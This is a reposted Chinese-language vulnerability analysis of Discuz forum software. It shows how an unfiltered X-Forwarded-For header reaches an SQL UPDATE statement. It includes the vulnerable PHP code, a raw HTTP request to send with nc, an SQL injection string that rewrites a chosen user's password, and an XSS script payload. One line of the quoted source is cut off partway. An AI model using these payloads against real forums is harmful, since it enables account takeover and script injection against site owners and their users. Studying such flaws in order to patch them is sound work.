【转载】DZ漏洞分析
漏洞描述:
程序在取得$_SERVER变量的时候,过滤不够严密,在初始化脚本common.inc.php中有如下一段代码:
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$onlineip
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_replace("/^([\d\.]+).*/", "\\1", $onlineip);
其中的HTTP_X_FORWARDED_FOR是客户端提交的,恶意用户可以用第三方软件如NC向服务器提交该变量。
用NC向服务器80端口提交如下内容:
GET /php/discuz/discuz.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: luckboy.sufee.net
Connection: Keep-Alive
X-Forwarded-For: 'This Is a Test'
Referer: 'Test"'
Cookie: herefirst=yes; eqdkp_data=a%3A2%3A%7Bs%3A13%3A%22auto_login_id%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22user_id%22%3Bi%3A-1%3B%7D; eqdkp_sid=3c458d65b8c8e504b4427ba8de2eddb3
即可将getenv('HTTP_X_FORWARDED_FOR')内容变为'This Is a Test',也就是$onlineip的值,然后经过语句:
$onlineip = preg_replace("/^([\d\.]+).*/", "\\1", $onlineip);
可以看到该正则是匹配以数字开头的,也就是IP并且取得内容,但是忽略了的是如果我们的内容不符合该正则,就不会经过任何过滤,所以到这$onlineip的内容为'This Is a Test'。可以看到程序在多处使用改变量,如果变量进入Sql语句就可以带来Sql注射,这样的内容比比皆是,危害比较大的,有一句在global.func.php里,749行左右有如下语句:
$db->query("UPDATE {$tablepre}members SET lastip='$onlineip', lastvisit=lastactivity, lastactivity='$timestamp' $oltimeadd WHERE uid='$discuz_uid'", 'UNBUFFERED');
很容易看到,我们完全可以将$onlineip的提交为',password='XXXXXXXXXXXXXX' where uid='XX'/*,这里是没有任何长度限制的!当然,我们还可以通过$onlineip引入内容进入数据库,譬如构造恶意的$onlineip为<script>alert()</script>,在显示$onlineip的地方将导致攻击,当然还可以利用update语句更新一些表达到目的。
可能还有个问题,就是我们可能没有办法引入',但是读下代码就知道,DZ做过滤的只有在common.inc.php中的:
$magic_quotes_gpc = get_magic_quotes_gpc();
@extract(daddslashes($_POST));
@extract(daddslashes($_GET));
if(!$magic_quotes_gpc) {
$_FILES = daddslashes($_FILES);
}
完全没有考虑$_SERVER,只要躲过php本身就足够了,在php<5而且GPC=Off的情况下,可以轻松饶过,在php>5.0的时候,$_SERVER变量是没有任何过滤的!
测试方法:
用NC向服务器80端口提交如下内容:
GET /php/discuz/discuz.php HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: luckboy.sufee.net
Connection: Keep-Alive
X-Forwarded-For: 'This Is a Test'
Referer: 'Test"'
Cookie: herefirst=yes; eqdkp_data=a%3A2%3A%7Bs%3A13%3A%22auto_login_id%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22user_id%22%3Bi%3A-1%3B%7D; eqdkp_sid=3c458d65b8c8e504b4427ba8de2eddb3